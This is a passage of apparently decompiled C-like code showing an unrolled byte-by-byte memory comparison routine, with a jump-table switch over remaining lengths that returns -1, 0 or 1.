																									_t1270 = (0 | _t171) * 2 - 1;
																								}
																								__eflags = _t1270;
																								if(_t1270 == 0) {
																									goto L94;
																								}
																							}
																						}
																					}
																				}
																			} else {
																				_t1270 = (_t1052 & 0x000000ff) - (_t1339[0xc] & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t128 = _t1270 > 0;
																					__eflags = _t128;
																					_t1270 = (0 | _t128) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = (_t1353[0xd] & 0x000000ff) - (_t1339[0xd] & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t134 = _t1270 > 0;
																						__eflags = _t134;
																						_t1270 = (0 | _t134) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						_t1270 = (_t1353[0xe] & 0x000000ff) - (_t1339[0xe] & 0x000000ff);
																						__eflags = _t1270;
																						if(_t1270 != 0) {
																							__eflags = _t1270;
																							_t140 = _t1270 > 0;
																							__eflags = _t140;
																							_t1270 = (0 | _t140) * 2 - 1;
																						}
																						__eflags = _t1270;
																						if(_t1270 == 0) {
																							_t1270 = (_t1353[0xf] & 0x000000ff) - (_t1339[0xf] & 0x000000ff);
																							__eflags = _t1270;
																							if(_t1270 != 0) {
																								__eflags = _t1270;
																								_t146 = _t1270 > 0;
																								__eflags = _t146;
																								_t1270 = (0 | _t146) * 2 - 1;
																							}
																							__eflags = _t1270;
																							if(_t1270 == 0) {
																								goto L81;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t1270 = (_t1353[8] & 0x000000ff) - (_t1339[8] & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t103 = _t1270 > 0;
																				__eflags = _t103;
																				_t1270 = (0 | _t103) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = (_t1353[9] & 0x000000ff) - (_t1339[9] & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t109 = _t1270 > 0;
																					__eflags = _t109;
																					_t1270 = (0 | _t109) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = (_t1353[0xa] & 0x000000ff) - (_t1339[0xa] & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t115 = _t1270 > 0;
																						__eflags = _t115;
																						_t1270 = (0 | _t115) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						_t1270 = (_t1353[0xb] & 0x000000ff) - (_t1339[0xb] & 0x000000ff);
																						__eflags = _t1270;
																						if(_t1270 != 0) {
																							__eflags = _t1270;
																							_t121 = _t1270 > 0;
																							__eflags = _t121;
																							_t1270 = (0 | _t121) * 2 - 1;
																						}
																						__eflags = _t1270;
																						if(_t1270 == 0) {
																							goto L68;
																						}
																					}
																				}
																			}
																		}
																	} else {
																		_t1270 = (_t1353[4] & 0x000000ff) - (_t1339[4] & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t77 = _t1270 > 0;
																			__eflags = _t77;
																			_t1270 = (0 | _t77) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = (_t1353[5] & 0x000000ff) - (_t1339[5] & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t83 = _t1270 > 0;
																				__eflags = _t83;
																				_t1270 = (0 | _t83) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = (_t1353[6] & 0x000000ff) - (_t1339[6] & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t89 = _t1270 > 0;
																					__eflags = _t89;
																					_t1270 = (0 | _t89) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = (_t1353[7] & 0x000000ff) - (_t1339[7] & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t95 = _t1270 > 0;
																						__eflags = _t95;
																						_t1270 = (0 | _t95) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L55;
																					}
																				}
																			}
																		}
																	}
																} else {
																	_t1270 = (_t1049 & 0x000000ff) - ( *_t1339 & 0x000000ff);
																	__eflags = _t1270;
																	if(_t1270 != 0) {
																		__eflags = _t1270;
																		_t51 = _t1270 > 0;
																		__eflags = _t51;
																		_t1270 = (0 | _t51) * 2 - 1;
																	}
																	__eflags = _t1270;
																	if(_t1270 == 0) {
																		_t1270 = (_t1353[1] & 0x000000ff) - (_t1339[1] & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t57 = _t1270 > 0;
																			__eflags = _t57;
																			_t1270 = (0 | _t57) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = (_t1353[2] & 0x000000ff) - (_t1339[2] & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t63 = _t1270 > 0;
																				__eflags = _t63;
																				_t1270 = (0 | _t63) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = (_t1353[3] & 0x000000ff) - (_t1339[3] & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t69 = _t1270 > 0;
																					__eflags = _t69;
																					_t1270 = (0 | _t69) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					goto L42;
																				}
																			}
																		}
																	}
																}
																L228:
																_t1021 = _t1270;
																goto L528;
															}
															_t1354 =  &(_t1353[_t1344]);
															_t1340 =  &(_t1339[_t1344]);
															switch( *((intOrPtr*)(_t1344 * 4 +  &M00B1F62A))) {
																case 0:
																	L227:
																	_t1270 = 0;
																	__eflags = 0;
																	goto L228;
																case 1:
																	L320:
																	__eax =  *(__edx - 1) & 0x000000ff;
																	__ecx =  *(__esi - 1) & 0x000000ff;
																	__ecx = ( *(__esi - 1) & 0x000000ff) - ( *(__edx - 1) & 0x000000ff);
																	__eflags = __ecx;
																	if(__ecx != 0) {
																		__eax = 0;
																		__eflags = __ecx;
																		__eax = 0 | __ecx > 0x00000000;
																		__ecx = (__ecx > 0) * 2 - 1;
																	}
																	goto L228;
																case 2:
																	L413:
																	__eflags =  *(__esi - 2) -  *(__edx - 2);
																	if( *(__esi - 2) ==  *(__edx - 2)) {
																		goto L227;
																	} else {
																		goto L317;
																	}
																	goto L529;
																case 3:
																	L314:
																	__eax =  *(__edx - 3) & 0x000000ff;
																	__ecx =  *(__esi - 3) & 0x000000ff;
																	__ecx = ( *(__esi - 3) & 0x000000ff) - ( *(__edx - 3) & 0x000000ff);
																	__eflags = __ecx;
																	if(__ecx != 0) {
																		__eax = 0;
																		__eflags = __ecx;
																		_t594 = __ecx > 0;
																		__eflags = _t594;
																		__eax = 0 | _t594;
																		__ecx = _t594 * 2 - 1;
																	}
																	__eflags = __ecx;
																	if(__ecx != 0) {
																		goto L228;
																	} else {
																		L317:
																		__eax =  *(__edx - 2) & 0x000000ff;
																		__ecx =  *(__esi - 2) & 0x000000ff;
																		__ecx = ( *(__esi - 2) & 0x000000ff) - ( *(__edx - 2) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t600 = __ecx > 0;
																			__eflags = _t600;
																			__eax = 0 | _t600;
																			__ecx = _t600 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			goto L320;
																		}
																	}
																	goto L529;
																case 4:
																	L214:
																	_t1063 =  *(_t1354 - 4);
																	__eflags = _t1063 -  *(_t1340 - 4);
																	if(_t1063 ==  *(_t1340 - 4)) {
																		goto L227;
																	} else {
																		_t1270 = (_t1063 & 0x000000ff) - ( *(_t1340 - 4) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t405 = _t1270 > 0;
																			__eflags = _t405;
																			_t1270 = (0 | _t405) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 3) & 0x000000ff) - ( *(_t1340 - 3) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t411 = _t1270 > 0;
																				__eflags = _t411;
																				_t1270 = (0 | _t411) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 2) & 0x000000ff) - ( *(_t1340 - 2) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t417 = _t1270 > 0;
																					__eflags = _t417;
																					_t1270 = (0 | _t417) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 1) & 0x000000ff) - ( *(_t1340 - 1) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t423 = _t1270 > 0;
																						__eflags = _t423;
																						_t1270 = (0 | _t423) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L227;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 5:
																	L307:
																	__eax =  *(__esi - 5);
																	__eflags =  *(__esi - 5) -  *(__edx - 5);
																	if( *(__esi - 5) ==  *(__edx - 5)) {
																		goto L320;
																	} else {
																		goto L308;
																	}
																	goto L529;
																case 6:
																	L400:
																	__eax =  *(__esi - 6);
																	__eflags =  *(__esi - 6) -  *(__edx - 6);
																	if( *(__esi - 6) ==  *(__edx - 6)) {
																		goto L413;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 6) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 6) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t764 = __ecx > 0;
																			__eflags = _t764;
																			__eax = 0 | _t764;
																			__ecx = _t764 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 5) & 0x000000ff;
																			__eax =  *(__edx - 5) & 0x000000ff;
																			__ecx = ( *(__esi - 5) & 0x000000ff) - ( *(__edx - 5) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t770 = __ecx > 0;
																				__eflags = _t770;
																				__eax = 0 | _t770;
																				__ecx = _t770 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 4) & 0x000000ff;
																				__eax =  *(__edx - 4) & 0x000000ff;
																				__ecx = ( *(__esi - 4) & 0x000000ff) - ( *(__edx - 4) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t776 = __ecx > 0;
																					__eflags = _t776;
																					__eax = 0 | _t776;
																					__ecx = _t776 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 3) & 0x000000ff;
																					__eax =  *(__edx - 3) & 0x000000ff;
																					__ecx = ( *(__esi - 3) & 0x000000ff) - ( *(__edx - 3) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t782 = __ecx > 0;
																						__eflags = _t782;
																						__eax = 0 | _t782;
																						__ecx = _t782 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L413;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 7:
																	L493:
																	__eax =  *(__esi - 7);
																	__eflags =  *(__esi - 7) -  *(__edx - 7);
																	if( *(__esi - 7) ==  *(__edx - 7)) {
																		goto L314;
																	} else {
																		__eax =  *(__edx - 7) & 0x000000ff;
																		__ecx =  *(__esi - 7) & 0x000000ff;
																		__ecx = ( *(__esi - 7) & 0x000000ff) - ( *(__edx - 7) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t943 = __ecx > 0;
																			__eflags = _t943;
																			__eax = 0 | _t943;
																			__ecx = _t943 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 6) & 0x000000ff;
																			__eax =  *(__edx - 6) & 0x000000ff;
																			__ecx = ( *(__esi - 6) & 0x000000ff) - ( *(__edx - 6) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t949 = __ecx > 0;
																				__eflags = _t949;
																				__eax = 0 | _t949;
																				__ecx = _t949 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				L308:
																				__eax =  *(__edx - 5) & 0x000000ff;
																				__ecx =  *(__esi - 5) & 0x000000ff;
																				__ecx = ( *(__esi - 5) & 0x000000ff) - ( *(__edx - 5) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t582 = __ecx > 0;
																					__eflags = _t582;
																					__eax = 0 | _t582;
																					__ecx = _t582 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__eax =  *(__edx - 4) & 0x000000ff;
																					__ecx =  *(__esi - 4) & 0x000000ff;
																					__ecx = ( *(__esi - 4) & 0x000000ff) - ( *(__edx - 4) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t588 = __ecx > 0;
																						__eflags = _t588;
																						__eax = 0 | _t588;
																						__ecx = _t588 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L314;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 8:
																	L201:
																	_t1062 =  *(_t1354 - 8);
																	__eflags = _t1062 -  *(_t1340 - 8);
																	if(_t1062 ==  *(_t1340 - 8)) {
																		goto L214;
																	} else {
																		_t1270 = (_t1062 & 0x000000ff) - ( *(_t1340 - 8) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t380 = _t1270 > 0;
																			__eflags = _t380;
																			_t1270 = (0 | _t380) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 7) & 0x000000ff) - ( *(_t1340 - 7) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t386 = _t1270 > 0;
																				__eflags = _t386;
																				_t1270 = (0 | _t386) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 6) & 0x000000ff) - ( *(_t1340 - 6) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t392 = _t1270 > 0;
																					__eflags = _t392;
																					_t1270 = (0 | _t392) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 5) & 0x000000ff) - ( *(_t1340 - 5) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t398 = _t1270 > 0;
																						__eflags = _t398;
																						_t1270 = (0 | _t398) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L214;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 9:
																	L294:
																	__eax =  *(__esi - 9);
																	__eflags =  *(__esi - 9) -  *(__edx - 9);
																	if( *(__esi - 9) ==  *(__edx - 9)) {
																		goto L307;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 9) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 9) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t556 = __ecx > 0;
																			__eflags = _t556;
																			__eax = 0 | _t556;
																			__ecx = _t556 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 8) & 0x000000ff;
																			__eax =  *(__edx - 8) & 0x000000ff;
																			__ecx = ( *(__esi - 8) & 0x000000ff) - ( *(__edx - 8) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t562 = __ecx > 0;
																				__eflags = _t562;
																				__eax = 0 | _t562;
																				__ecx = _t562 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 7) & 0x000000ff;
																				__eax =  *(__edx - 7) & 0x000000ff;
																				__ecx = ( *(__esi - 7) & 0x000000ff) - ( *(__edx - 7) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t568 = __ecx > 0;
																					__eflags = _t568;
																					__eax = 0 | _t568;
																					__ecx = _t568 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 6) & 0x000000ff;
																					__eax =  *(__edx - 6) & 0x000000ff;
																					__ecx = ( *(__esi - 6) & 0x000000ff) - ( *(__edx - 6) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t574 = __ecx > 0;
																						__eflags = _t574;
																						__eax = 0 | _t574;
																						__ecx = _t574 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L307;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0xa:
																	L387:
																	__eax =  *(__esi - 0xa);
																	__eflags =  *(__esi - 0xa) -  *(__edx - 0xa);
																	if( *(__esi - 0xa) ==  *(__edx - 0xa)) {
																		goto L400;
																	} else {
																		__eax =  *(__edx - 0xa) & 0x000000ff;
																		__ecx =  *(__esi - 0xa) & 0x000000ff;
																		__ecx = ( *(__esi - 0xa) & 0x000000ff) - ( *(__edx - 0xa) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t739 = __ecx > 0;
																			__eflags = _t739;
																			__eax = 0 | _t739;
																			__ecx = _t739 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 9) & 0x000000ff;
																			__eax =  *(__edx - 9) & 0x000000ff;
																			__ecx = ( *(__esi - 9) & 0x000000ff) - ( *(__edx - 9) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t745 = __ecx > 0;
																				__eflags = _t745;
																				__eax = 0 | _t745;
																				__ecx = _t745 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 8) & 0x000000ff;
																				__eax =  *(__edx - 8) & 0x000000ff;
																				__ecx = ( *(__esi - 8) & 0x000000ff) - ( *(__edx - 8) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t751 = __ecx > 0;
																					__eflags = _t751;
																					__eax = 0 | _t751;
																					__ecx = _t751 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 7) & 0x000000ff;
																					__eax =  *(__edx - 7) & 0x000000ff;
																					__ecx = ( *(__esi - 7) & 0x000000ff) - ( *(__edx - 7) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t757 = __ecx > 0;
																						__eflags = _t757;
																						__eax = 0 | _t757;
																						__ecx = _t757 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L400;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0xb:
																	L480:
																	__eax =  *(__esi - 0xb);
																	__eflags =  *(__esi - 0xb) -  *(__edx - 0xb);
																	if( *(__esi - 0xb) ==  *(__edx - 0xb)) {
																		goto L493;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0xb) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0xb) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t917 = __ecx > 0;
																			__eflags = _t917;
																			__eax = 0 | _t917;
																			__ecx = _t917 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0xa) & 0x000000ff;
																			__eax =  *(__edx - 0xa) & 0x000000ff;
																			__ecx = ( *(__esi - 0xa) & 0x000000ff) - ( *(__edx - 0xa) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t923 = __ecx > 0;
																				__eflags = _t923;
																				__eax = 0 | _t923;
																				__ecx = _t923 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 9) & 0x000000ff;
																				__eax =  *(__edx - 9) & 0x000000ff;
																				__ecx = ( *(__esi - 9) & 0x000000ff) - ( *(__edx - 9) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t929 = __ecx > 0;
																					__eflags = _t929;
																					__eax = 0 | _t929;
																					__ecx = _t929 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 8) & 0x000000ff;
																					__eax =  *(__edx - 8) & 0x000000ff;
																					__ecx = ( *(__esi - 8) & 0x000000ff) - ( *(__edx - 8) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t935 = __ecx > 0;
																						__eflags = _t935;
																						__eax = 0 | _t935;
																						__ecx = _t935 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L493;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0xc:
																	L188:
																	_t1061 =  *(_t1354 - 0xc);
																	__eflags = _t1061 -  *(_t1340 - 0xc);
																	if(_t1061 ==  *(_t1340 - 0xc)) {
																		goto L201;
																	} else {
																		_t1270 = (_t1061 & 0x000000ff) - ( *(_t1340 - 0xc) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t355 = _t1270 > 0;
																			__eflags = _t355;
																			_t1270 = (0 | _t355) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 0xb) & 0x000000ff) - ( *(_t1340 - 0xb) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t361 = _t1270 > 0;
																				__eflags = _t361;
																				_t1270 = (0 | _t361) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 0xa) & 0x000000ff) - ( *(_t1340 - 0xa) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t367 = _t1270 > 0;
																					__eflags = _t367;
																					_t1270 = (0 | _t367) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 9) & 0x000000ff) - ( *(_t1340 - 9) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t373 = _t1270 > 0;
																						__eflags = _t373;
																						_t1270 = (0 | _t373) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L201;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 0xd:
																	L281:
																	__eax =  *(__esi - 0xd);
																	__eflags =  *(__esi - 0xd) -  *(__edx - 0xd);
																	if( *(__esi - 0xd) ==  *(__edx - 0xd)) {
																		goto L294;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0xd) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0xd) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t531 = __ecx > 0;
																			__eflags = _t531;
																			__eax = 0 | _t531;
																			__ecx = _t531 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0xc) & 0x000000ff;
																			__eax =  *(__edx - 0xc) & 0x000000ff;
																			__ecx = ( *(__esi - 0xc) & 0x000000ff) - ( *(__edx - 0xc) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t537 = __ecx > 0;
																				__eflags = _t537;
																				__eax = 0 | _t537;
																				__ecx = _t537 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0xb) & 0x000000ff;
																				__eax =  *(__edx - 0xb) & 0x000000ff;
																				__ecx = ( *(__esi - 0xb) & 0x000000ff) - ( *(__edx - 0xb) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t543 = __ecx > 0;
																					__eflags = _t543;
																					__eax = 0 | _t543;
																					__ecx = _t543 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0xa) & 0x000000ff;
																					__eax =  *(__edx - 0xa) & 0x000000ff;
																					__ecx = ( *(__esi - 0xa) & 0x000000ff) - ( *(__edx - 0xa) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t549 = __ecx > 0;
																						__eflags = _t549;
																						__eax = 0 | _t549;
																						__ecx = _t549 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L294;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0xe:
																	L374:
																	__eax =  *(__esi - 0xe);
																	__eflags =  *(__esi - 0xe) -  *(__edx - 0xe);
																	if( *(__esi - 0xe) ==  *(__edx - 0xe)) {
																		goto L387;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0xe) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0xe) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t713 = __ecx > 0;
																			__eflags = _t713;
																			__eax = 0 | _t713;
																			__ecx = _t713 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0xd) & 0x000000ff;
																			__eax =  *(__edx - 0xd) & 0x000000ff;
																			__ecx = ( *(__esi - 0xd) & 0x000000ff) - ( *(__edx - 0xd) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t719 = __ecx > 0;
																				__eflags = _t719;
																				__eax = 0 | _t719;
																				__ecx = _t719 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0xc) & 0x000000ff;
																				__eax =  *(__edx - 0xc) & 0x000000ff;
																				__ecx = ( *(__esi - 0xc) & 0x000000ff) - ( *(__edx - 0xc) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t725 = __ecx > 0;
																					__eflags = _t725;
																					__eax = 0 | _t725;
																					__ecx = _t725 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0xb) & 0x000000ff;
																					__eax =  *(__edx - 0xb) & 0x000000ff;
																					__ecx = ( *(__esi - 0xb) & 0x000000ff) - ( *(__edx - 0xb) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t731 = __ecx > 0;
																						__eflags = _t731;
																						__eax = 0 | _t731;
																						__ecx = _t731 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L387;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0xf:
